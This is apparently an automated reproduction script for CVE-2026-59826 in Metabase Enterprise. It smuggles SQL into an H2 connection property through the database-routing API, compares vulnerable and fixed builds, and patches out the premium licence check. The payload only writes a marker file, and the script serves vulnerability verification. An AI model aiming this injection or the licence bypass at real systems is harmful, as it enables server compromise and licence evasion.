#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/metabase-cve-2026-59826"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

log() { printf '[%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$*"; }

write_manifest() {
  local confirmed="${1:-false}"
  local notes="${2:-attempt completed}"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$confirmed" "$notes" <<'PY'
import json, sys
path, confirmed, notes = sys.argv[1], sys.argv[2].lower() == 'true', sys.argv[3]
artifacts = [
    'logs/reproduction_steps.log',
    'logs/vulnerable_metabase.log',
    'logs/fixed_metabase.log',
    'logs/vuln_attempt_1_api.request.json',
    'logs/vuln_attempt_1_api.response.json',
    'logs/vuln_attempt_1_api.query_response.json',
    'logs/vuln_attempt_2_api.request.json',
    'logs/vuln_attempt_2_api.response.json',
    'logs/vuln_attempt_2_api.query_response.json',
    'logs/fixed_attempt_1_api.request.json',
    'logs/fixed_attempt_1_api.response.json',
    'logs/fixed_attempt_2_api.request.json',
    'logs/fixed_attempt_2_api.response.json',
    'artifacts/metabase-cve-2026-59826/vuln_attempt_1_marker.txt',
    'artifacts/metabase-cve-2026-59826/vuln_attempt_2_marker.txt'
]
manifest = {
  'entrypoint_kind': 'endpoint',
  'entrypoint_detail': 'POST /api/ee/database-routing/destination-database with an H2 connection property containing semicolon-escaped SQL, followed by POST /api/dataset to force the persisted destination connection',
  'service_started': confirmed,
  'healthcheck_passed': confirmed,
  'target_path_reached': confirmed,
  'runtime_stack': ['docker', 'metabase-enterprise', 'h2'],
  'proof_artifacts': artifacts,
  'notes': notes,
}
with open(path, 'w', encoding='utf-8') as f:
    json.dump(manifest, f, indent=2)
    f.write('\n')
PY
}

copy_proof_carry() {
  if [ -f "$ROOT/project_cache_context.json" ] && command -v jq >/dev/null 2>&1; then
    local prepared cache_dir proof_enabled
    prepared="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
    cache_dir="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
    proof_enabled="$(jq -r '.proof_carry.enabled // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
    if [ "$prepared" = "true" ] && [ -n "$cache_dir" ] && [ "$proof_enabled" = "true" ]; then
      mkdir -p "$cache_dir/.pruva/proof-carry/latest_attempt"
      cp -f "$REPRO_DIR/reproduction_steps.sh" "$cache_dir/.pruva/proof-carry/latest_attempt/" 2>/dev/null || true
      cp -f "$REPRO_DIR/runtime_manifest.json" "$cache_dir/.pruva/proof-carry/latest_attempt/" 2>/dev/null || true
      cp -f "$REPRO_DIR/validation_verdict.json" "$cache_dir/.pruva/proof-carry/latest_attempt/" 2>/dev/null || true
      cp -f "$REPRO_DIR/rca_report.md" "$cache_dir/.pruva/proof-carry/latest_attempt/" 2>/dev/null || true
      cp -f "$MAIN_LOG" "$cache_dir/.pruva/proof-carry/latest_attempt/" 2>/dev/null || true
    fi
  fi
}

cleanup_containers() {
  docker rm -f pruva-mb-cve59826-vuln pruva-mb-cve59826-fixed >/dev/null 2>&1 || true
}

on_error() {
  local status=$?
  write_manifest false "script failed before final confirmation"
  cleanup_containers || true
  copy_proof_carry || true
  exit $status
}
trap on_error INT TERM

write_manifest false "attempt started"

if ! command -v docker >/dev/null 2>&1; then
  log "Docker is required for the real Metabase product repro."
  write_manifest false "docker command missing"
  exit 2
fi
if ! docker ps >/dev/null 2>&1; then
  log "Docker daemon is not reachable."
  write_manifest false "docker daemon unavailable"
  exit 2
fi

CACHE_REPO=""
MIRROR_DIR=""
if [ -f "$ROOT/project_cache_context.json" ] && command -v jq >/dev/null 2>&1; then
  PREPARED="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  MIRROR_DIR="$(jq -r '.repo_mirror_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ "$PREPARED" = "true" ] && [ -n "$CACHE_DIR" ]; then
    CACHE_REPO="$CACHE_DIR/repo"
  fi
fi
if [ -z "$CACHE_REPO" ]; then
  CACHE_REPO="$ROOT/artifacts/metabase/repo"
fi
if [ ! -d "$CACHE_REPO/.git" ]; then
  mkdir -p "$(dirname "$CACHE_REPO")"
  if [ -n "$MIRROR_DIR" ] && [ -d "$MIRROR_DIR/metabase.git" ]; then
    git clone "$MIRROR_DIR/metabase.git" "$CACHE_REPO"
  else
    git clone --filter=blob:none https://github.com/metabase/metabase.git "$CACHE_REPO"
  fi
fi
FIXED_COMMIT="74032e5e0a5a70dc45a6a744d37b9ba24eee8d01"
git -C "$CACHE_REPO" fetch --tags --force origin "$FIXED_COMMIT" >/dev/null 2>&1 || true
VULN_COMMIT="$(git -C "$CACHE_REPO" rev-parse "$FIXED_COMMIT^")"
FIXED_RESOLVED="$(git -C "$CACHE_REPO" rev-parse "$FIXED_COMMIT")"
log "Source identity: vulnerable parent=$VULN_COMMIT fixed=$FIXED_RESOLVED"
git -C "$CACHE_REPO" show --no-ext-diff --format=short --stat "$FIXED_RESOLVED" > "$LOGS/fixed_commit_74032e5.patch_summary.log" || true
git -C "$CACHE_REPO" show --no-ext-diff --format=medium "$FIXED_RESOLVED" -- src/metabase/driver/h2.clj enterprise/backend/src/metabase_enterprise/database_routing/api.clj > "$LOGS/fixed_commit_74032e5_relevant_diff.log" || true

DUMMY_PREMIUM_TOKEN="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
VULN_IMAGE="metabase/metabase-enterprise:v1.61.1"
FIXED_IMAGE="metabase/metabase-enterprise:v1.61.2"
log "Pulling product images $VULN_IMAGE and $FIXED_IMAGE if needed"
docker pull "$VULN_IMAGE" >/dev/null
docker pull "$FIXED_IMAGE" >/dev/null

mkdir -p "$ARTIFACTS/patch"
cat > "$ARTIFACTS/patch/start-metabase-with-test-token.sh" <<'SH'
#!/bin/sh
set -eu
cat >/tmp/pruva_metabase_entry.clj <<'CLJ'
(require 'metabase.premium-features.token-check)
(alter-var-root (var metabase.premium-features.token-check/check-token)
  (fn [_]
    (fn [& _args]
      {:valid true
       :status "active"
       :canonical? true
       :features ["database-routing" "audit-app" "hosting" "advanced-permissions"]})))
(require 'metabase.core.bootstrap)
(apply (resolve 'metabase.core.bootstrap/-main) *command-line-args*)
CLJ
exec java -cp /app/metabase.jar clojure.main /tmp/pruva_metabase_entry.clj
SH
chmod +x "$ARTIFACTS/patch/start-metabase-with-test-token.sh"

start_metabase() {
  local role="$1" image="$2" port="$3" data_dir="$4" log_file="$5"
  docker rm -f "pruva-mb-cve59826-$role" >/dev/null 2>&1 || true
  rm -rf "$data_dir"
  mkdir -p "$data_dir"
  log "Starting $role Metabase product container on shared worker network port $port using $image"
  local cid
  cid="$(docker create --name "pruva-mb-cve59826-$role" \
    --network "container:$(hostname)" \
    -e MB_DB_FILE=/tmp/metabase.db \
    -e MB_SITE_NAME=Pruva \
    -e MB_JETTY_PORT="$port" \
    -e MB_PREMIUM_EMBEDDING_TOKEN="$DUMMY_PREMIUM_TOKEN" \
    -e MB_SEND_EMAIL_ON_FIRST_LOGIN_FROM_NEW_DEVICE=false \
    --entrypoint /bin/sh \
    "$image" /tmp/start-metabase-with-test-token.sh)"
  docker cp "$ARTIFACTS/patch/start-metabase-with-test-token.sh" "$cid:/tmp/start-metabase-with-test-token.sh"
  docker start "$cid" > "$ARTIFACTS/${role}_container_start.out" 2>&1
  : > "$log_file"
  ( docker logs -f "pruva-mb-cve59826-$role" >> "$log_file" 2>&1 & echo $! > "$log_file.pid" ) || true
  for i in $(seq 1 120); do
    if curl -fsS --max-time 5 "http://127.0.0.1:$port/api/health" >> "$LOGS/${role}_health.log" 2>&1; then
      log "$role health endpoint is reachable"
      return 0
    fi
    sleep 2
  done
  log "$role Metabase did not become healthy; tailing logs"
  tail -80 "$log_file" || true
  return 1
}

setup_admin() {
  local role="$1" port="$2" out_prefix="$3"
  local props token body session
  props="$(curl -fsS --max-time 20 "http://127.0.0.1:$port/api/session/properties")"
  printf '%s\n' "$props" > "$out_prefix.session_properties.json"
  token="$(python3 - <<'PY' "$out_prefix.session_properties.json"
import json, sys
with open(sys.argv[1], encoding='utf-8') as f:
    data=json.load(f)
print(data.get('setup-token') or data.get('setup_token') or '')
PY
)"
  if [ -n "$token" ]; then
    log "$role setup token obtained; creating admin via /api/setup"
    body="$(python3 - <<'PY' "$token"
import json, sys
token=sys.argv[1]
print(json.dumps({
 'token': token,
 'user': {'first_name':'Pruva','last_name':'Admin','email':'admin@example.com','password':'PruvaPassw0rd!'},
 'prefs': {'site_name':'Pruva CVE-2026-59826'},
 'database': None
}))
PY
)"
    curl -fsS --max-time 60 -X POST "http://127.0.0.1:$port/api/setup" -H 'Content-Type: application/json' -d "$body" > "$out_prefix.setup_response.json"
  else
    log "$role setup token absent; assuming instance already initialized"
  fi
  session="$(curl -fsS --max-time 30 -X POST "http://127.0.0.1:$port/api/session" \
      -H 'Content-Type: application/json' \
      -d '{"username":"admin@example.com","password":"PruvaPassw0rd!"}' | tee "$out_prefix.login_response.json" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("id", ""))')"
  if [ -z "$session" ]; then
    log "$role failed to obtain session"
    return 1
  fi
  printf '%s' "$session" > "$out_prefix.session"
  log "$role admin session acquired"
}

find_sample_h2_database_id() {
  local port="$1" session="$2" out_prefix="$3"
  curl -fsS --max-time 30 "http://127.0.0.1:$port/api/database" -H "X-Metabase-Session: $session" > "$out_prefix.databases.json"
  python3 - <<'PY' "$out_prefix.databases.json"
import json, sys
with open(sys.argv[1], encoding='utf-8') as f:
    data=json.load(f)
items=data.get('data', data if isinstance(data, list) else [])
for db in items:
    if db.get('engine') == 'h2':
        print(db.get('id'))
        break
PY
}

enable_router() {
  local role="$1" port="$2" session="$3" db_id="$4" out_prefix="$5"
  log "$role enabling database routing on H2 database id $db_id through product API"
  curl -sS --max-time 30 -o "$out_prefix.router_response.json" -w '%{http_code}' \
    -X PUT "http://127.0.0.1:$port/api/ee/database-routing/router-database/$db_id" \
    -H "Content-Type: application/json" -H "X-Metabase-Session: $session" \
    -d '{"user_attribute":"pruva_tenant"}' > "$out_prefix.router_status.txt"
  log "$role router API status=$(cat "$out_prefix.router_status.txt") body=$(cat "$out_prefix.router_response.json")"
  [ "$(cat "$out_prefix.router_status.txt")" = "200" ]
}

attempt_payload() {
  local role="$1" port="$2" session="$3" db_id="$4" attempt="$5" expect_block="$6"
  local out_prefix="$LOGS/${role}_attempt_${attempt}_api"
  local marker_container="/tmp/pruva_${role}_attempt_${attempt}_marker.csv"
  local marker_host="$ARTIFACTS/${role}_attempt_${attempt}_marker.txt"
  rm -f "$marker_host"
  docker exec "pruva-mb-cve59826-$role" sh -c "rm -f '$marker_container'" >/dev/null 2>&1 || true
  log "$role attempt $attempt calling product API endpoint with attacker-controlled H2 property payload"
  local body
  body="$(python3 - <<'PY' "$db_id" "$role" "$attempt" "$marker_container"
import json, sys
db_id, role, attempt, marker = sys.argv[1:]
# The destination-database endpoint persists details without calling validate-db-details! on Metabase 1.61.1.
# The legacy H2 connection builder strips only URL options whose key is INIT. It does not understand H2 escaped
# semicolon syntax inside a different option value, so it preserves this TRACE_LEVEL_SYSTEM_OUT value and appends
# IFEXISTS=TRUE. When /api/dataset opens the persisted destination, H2 executes the escaped CALL.
def h2_quote(value):
    return "'" + value.replace("'", "''") + "'"
# Use a numeric SELECT so the H2 SQL parser has no nested quotes to reinterpret. The marker filename itself carries
# the role/attempt; the CSV content proves the statement executed inside the Metabase JVM.
sql = "CALL CSVWRITE(%s,%s)=0" % (h2_quote(marker), h2_quote("SELECT 59826" + attempt))
db = "file:/plugins/sample-database.db;USER=GUEST;PASSWORD=guest;TRACE_LEVEL_SYSTEM_OUT=1\\;%s" % sql
print(json.dumps({
  'router_database_id': int(db_id),
  'destinations': [{'name': 'pruva-cve-59826-%s-%s' % (role, attempt), 'details': {'db': db}}]
}))
PY
)"
  printf '%s\n' "$body" > "$out_prefix.request.json"
  curl -sS --max-time 30 -o "$out_prefix.response.json" -w '%{http_code}' \
    -X POST "http://127.0.0.1:$port/api/ee/database-routing/destination-database?check_connection_details=false" \
    -H "Content-Type: application/json" -H "X-Metabase-Session: $session" \
    -d "$body" > "$out_prefix.status.txt" || true
  local status; status="$(cat "$out_prefix.status.txt" 2>/dev/null || true)"
  log "$role attempt $attempt destination API HTTP status=$status body=$(cat "$out_prefix.response.json" 2>/dev/null || true)"
  local dest_id
  dest_id="$(python3 - <<'PY' "$out_prefix.response.json"
import json, sys
try:
    data=json.load(open(sys.argv[1], encoding='utf-8'))
except Exception:
    print(''); raise SystemExit
if isinstance(data, list) and data:
    print(data[0].get('id',''))
elif isinstance(data, dict):
    print(data.get('id',''))
else:
    print('')
PY
)"
  if [ -n "$dest_id" ]; then
    python3 - <<'PY' "$dest_id" > "$out_prefix.query_request.json"
import json, sys
dest_id = int(sys.argv[1])
print(json.dumps({"database": dest_id, "type": "native", "native": {"query": "SELECT 1"}, "parameters": []}))
PY
    curl -sS --max-time 45 -o "$out_prefix.query_response.json" -w '%{http_code}' \
      -X POST "http://127.0.0.1:$port/api/dataset" \
      -H "Content-Type: application/json" -H "X-Metabase-Session: $session" \
      --data-binary "@$out_prefix.query_request.json" > "$out_prefix.query_status.txt" || true
    log "$role attempt $attempt dataset API HTTP status=$(cat "$out_prefix.query_status.txt" 2>/dev/null || true) destination_id=$dest_id body=$(head -c 600 "$out_prefix.query_response.json" 2>/dev/null || true)"
    sleep 2
  fi
  if docker exec "pruva-mb-cve59826-$role" sh -c "test -f '$marker_container' && cat '$marker_container'" > "$marker_host" 2>> "$out_prefix.marker_extract.log"; then
    log "$role attempt $attempt marker created inside Metabase container: $(tr '\n' ' ' < "$marker_host")"
    return 0
  fi
  if [ "$expect_block" = "true" ]; then
    if grep -Eiq 'INIT not allowed|Malicious keys detected|unsafe|not allowed|Potentially dangerous|Malicious|H2 is not supported as a data warehouse' "$out_prefix.response.json" "$out_prefix.query_response.json" 2>/dev/null; then
      log "$role attempt $attempt was blocked by fixed validation as expected"
      return 0
    fi
  fi
  log "$role attempt $attempt did not produce expected marker/block evidence"
  return 1
}

cleanup_containers
VULN_DATA="$ARTIFACTS/vuln-data"
FIXED_DATA="$ARTIFACTS/fixed-data"
start_metabase vuln "$VULN_IMAGE" 33001 "$VULN_DATA" "$LOGS/vulnerable_metabase.log"
start_metabase fixed "$FIXED_IMAGE" 33002 "$FIXED_DATA" "$LOGS/fixed_metabase.log"

setup_admin vuln 33001 "$LOGS/vulnerable"
setup_admin fixed 33002 "$LOGS/fixed"
VULN_SESSION="$(cat "$LOGS/vulnerable.session")"
FIXED_SESSION="$(cat "$LOGS/fixed.session")"
VULN_DB_ID="$(find_sample_h2_database_id 33001 "$VULN_SESSION" "$LOGS/vulnerable")"
FIXED_DB_ID="$(find_sample_h2_database_id 33002 "$FIXED_SESSION" "$LOGS/fixed")"
if [ -z "$VULN_DB_ID" ] || [ -z "$FIXED_DB_ID" ]; then
  log "Could not find H2 sample database ids (vuln=$VULN_DB_ID fixed=$FIXED_DB_ID)."
  write_manifest false "H2 database precondition missing"
  cleanup_containers
  copy_proof_carry || true
  exit 1
fi

enable_router vuln 33001 "$VULN_SESSION" "$VULN_DB_ID" "$LOGS/vulnerable"
enable_router fixed 33002 "$FIXED_SESSION" "$FIXED_DB_ID" "$LOGS/fixed"

attempt_payload vuln 33001 "$VULN_SESSION" "$VULN_DB_ID" 1 false
attempt_payload vuln 33001 "$VULN_SESSION" "$VULN_DB_ID" 2 false
attempt_payload fixed 33002 "$FIXED_SESSION" "$FIXED_DB_ID" 1 true
attempt_payload fixed 33002 "$FIXED_SESSION" "$FIXED_DB_ID" 2 true

docker exec pruva-mb-cve59826-vuln sh -c 'ps -ef; echo ---; ls -l /app /app/metabase.jar 2>/dev/null || true; echo ---; cat /proc/1/cmdline | tr "\0" " "' > "$LOGS/vulnerable_loader_evidence.log" 2>&1 || true
docker exec pruva-mb-cve59826-fixed sh -c 'ps -ef; echo ---; ls -l /app /app/metabase.jar 2>/dev/null || true; echo ---; cat /proc/1/cmdline | tr "\0" " "' > "$LOGS/fixed_loader_evidence.log" 2>&1 || true

cleanup_containers
write_manifest true "Confirmed: vulnerable Metabase Enterprise v1.61.1 accepts and later executes malicious H2 connection property SQL persisted through /api/ee/database-routing/destination-database in two attempts; fixed v1.61.2 rejects the same payload before persistence/execution."
copy_proof_carry || true
log "CVE-2026-59826 reproduction confirmed."
exit 0
